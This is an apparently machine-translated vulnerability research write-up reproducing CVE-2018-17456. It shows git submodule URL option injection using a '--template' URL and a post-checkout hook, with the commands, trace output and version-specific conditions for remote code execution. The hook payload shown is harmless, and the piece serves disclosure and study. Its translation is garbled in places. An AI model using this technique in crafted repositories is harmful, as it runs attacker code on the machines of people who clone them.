Author: hcaael @ know Chuangyu 404 laboratory English version: https://paper.seebug.org/980/
On the national day, GIT broke a hole in rce and came back from the holiday to deal with the emergency. Because there were few public related materials, it was quite big. After two days, rce succeeded
Data collection
At the beginning of the research on this vulnerability, there was very little information on the Internet, and the most detailed one was GitHub blog.
I learned that the author of the flaw was @ joenchen. I went to his twitter and found a useful tweet:
In addition, we searched cve-2018-17456 on Twitter and got a tweet @ 65123; staaldraad verified successfully:
CVE-2018-17456
Unfortunately, some useful information (URL can't be found) has been found through Google. For example, the vulnerability can't be successfully reproduced on windows, because it's not a valid file name on windows.
:
Research and analysis
There is too little information on the Internet, only with this information can not complete the recurrence of the vulnerability, so we can only test and research by ourselves through source code and debugging.
The latest version of GIT v2.19.1 source code is generated by using woboq? Codebrowser, which is convenient for audit.
woboq_codebrowser
git v2.19.1
Through the source code discovery, using git ﹣ trace = 1 before the GIT command can enable the command trace of GIT and track the run ﹣ command of GIT
git
GIT_TRACE=1
run_command
First, create a source and its sub modules (tested with git v2.19.0):
$ git --version
git version 2.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ cd evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into '/home/ubuntu/evilrepo/test1'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), done.
$ cat .gitmodules
[submodule "test1"]
path = test1
url = https://github.com/Hcamael/hello-world.git
-
$ cat .gitmodules
[submodule "test1"]
path = test1
url = -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
修改.git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
这里可以选择把submodule的数据删除,可以可以选择直接修改url
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -test
$ GIT_TRACE=1 git submodule update --init
From the output, we can see a command:
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'
The - test we set is recognized as the - t parameter by git clone, and the vulnerability point is found. Next, we need to consider how to use git clone parameter to execute commands?
-test
git clone
-t
git clone
Further research shows that git can handle special characters, such as spaces:
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -te st
$ GIT_TRACE=1 git submodule update --init
.....
git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st'
.....
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1
.....
static const char ok_punct[] = "+,-./:=@_^";
I don't think I can get around this space
Next, we will continue to study how to use parameters to execute commands
In the process of turning over twitter, I also turned to the previous article of GIT rce (cve-2018-11235), and found that hook is used to achieve the effect of rce, and the successful tweet was verified by combining with @ ﹣ staaldraad before
It's easy to think of a method, but before we talk about this method, let's talk about some basic knowledge of GIT submodule
git submodule
Simple explanation of GIT submodule mechanism
First look at the parameters of. Gitmodules:
.gitmodules
[submodule "test1"]
path = test2
url = test3
Test1 represents the submodule name, and the parameter used is -- name. The data in the sub project. Git directory will be stored in the. Git / modules / test1 / directory
test1
--name
.git
.git/modules/test1/
test2
./test2/
Test3 is the remote address of the subproject. If it is a local path, it is to pull the local source
test3
You can't push the. Git directory to push the local project to the remote. You can only push the. Gitmodules file and test2 directory
.git
.gitmodules
test2
How to identify the directory as a submodule remotely? When submodule is added locally, a. Git file will be added under test2 directory (I deleted it earlier, so you can add another one to view its contents)
test2
$ cat test2/.git
gitdir: ../.git/modules/test1
It points to the. Git path of the project, and the file will not be pushed to the remote. However, when pushing, the file will let git recognize that the directory is a submodule directory, and other files in the directory will not be submitted to the remote, and a link will be created for the file remotely, pointing to the submodule address:
.git
(my personal experience can be seen as the soft connection under Linux)
This soft connection is very important. If the remote test2 directory does not have this soft connection, the subproject pointing to this path in the. Gitmodules file will not take effect when the clone is given to the local (with the -- recurse submodules parameter added).
.gitmodules
After understanding the working mechanism of submodule, let's talk about the idea of rce
We can set the URL as follows:
url = --template=./template
This is a template option. Please search for details
With this option set, when the subproject clone is local, the. Git directory of the subproject is placed in the. Git / modules / test1 directory, and then the specified files in the template directory are also copied to the. Git / modules / test1 directory. These kinds of files are hook
.git
.git/modules/test1
.git/modules/test1
Therefore, only when we set a. / template / hook / post checkout, add executable permissions to post checkout, write the commands to be executed into it, and execute the script when the subproject executes the GIT chekcout command.
./template/hook/post-checkout
post-checkout
git chekcout
$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
#!/bin/sh
date
echo 'PWNED'
$ chmod +x fq/hook/post-checkout
$ ll
total 24
drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./
drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../
drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/
drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/
-rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules
drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/
$ cat .gitmodules
[submodule "test1"]
path = test2
url = --template=./fq
$ GIT_TRACE=1 git submodule update --init
After setting POC, try again. The error is still reported. The main problems are as follows:
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
After we set {URL} as the parameter, / home / Ubuntu / evilrepo / {path} becomes the source address, which is determined to be the local source directory, so we will look for the. Git files in the directory. But as we said before, because the directory is set as a soft connection remotely, there will be no other files from clone to the local, so the directory is impossible to exist. Git directory, so the command executes Row failure
{url}
/home/ubuntu/evilrepo/{path}
.git
.git
Let's see what command is calling this command:
git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq
Resolve the following command:
git submodule--helper clone --path {path} --name {name} --url {url}
Path, name and URL are all under our control, but there are filtering rules. The filtering rules are the same as the above URL white list filtering rules.
This command function - >
I've thought a lot about it. Path or name is set to -- url = XXXXX
--url=xxxxx
All failed, because there is no other data after the -- path and -- name parameters, so -- url = XXXX will be parsed into name or path, and a space is missing here, but if there is a space, the data will be enclosed in single quotation marks. At present, there is no way to bypass
--path
--name
--url=xxxx
So there is no progress in the use of this order....
So the focus goes back to the last git clone command:
git clone
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);
sm_gitdir = absolute_pathdup(sb.buf);
/The home / Ubuntu / evilrepo /. Git / modules / {name} path is directly spliced with the above code, and there is no way to bypass it
/home/ubuntu/evilrepo/.git/modules/{name}
Finally, / home / Ubuntu / evilrepo / {path}. If git can resolve this to a remote address, I'd like to think about a construction idea: / home / Ubuntu / evilrepo / [email protected]: hcamael / Hello world.git
/home/ubuntu/evilrepo/{path}
/home/ubuntu/evilrepo/[email protected]:Hcamael/hello-world.git
But it failed. Git still parsed it into a local path. Look at the code of path:
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
Because [email protected]: hcamael / hello-world.git is judged to be a non absolute path, the path of the current directory is added in front of it, and then it will fall into a dead end. No solution can be found
[email protected]:Hcamael/hello-world.git
RCE
After continuous research, it is found that path = [email protected]: hcamael / hello-world.git has been successfully implemented in the lower version of GIT.
[email protected]:Hcamael/hello-world.git
First look at the picture:
Ubuntu 16.04 is used, and the default Git is 2.7.4. After checking the source code of this version of GIT, we found that there are no lines of code in this version
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
So the constructed command becomes:
$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq [email protected]:Hcamael/hello-world.git
After that, I compared the result of my successful execution with the screenshot in the @ staldraad tweet, and found that it was almost the same, so I guess the GIT environment of this person's reproduction also uses the lower version of GIT
summary
After that, I went through git's submission history and found that in 2016, I added a judgment on whether path is an absolute path. According to my research results, cve-2018-17456 vulnerability can cause git option parameter injection, but only low version git can cause rce effect according to the CVE.
UPDATE
Some people on GitHub have published POC applicable to all git except the lower version: https://github.com/joenchen/poc-submodule
Combined with my PoC, GIT without patch can be RCE
Quote
- https://blog.github.com/2018-10-05-git-submodule-vulnerability/
- https://0x48.pw/git/
- https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
- https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
- https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone
This article was published by seebug paper. If you need to reprint it, please indicate the source. Address: https://paper.seebug.org/716/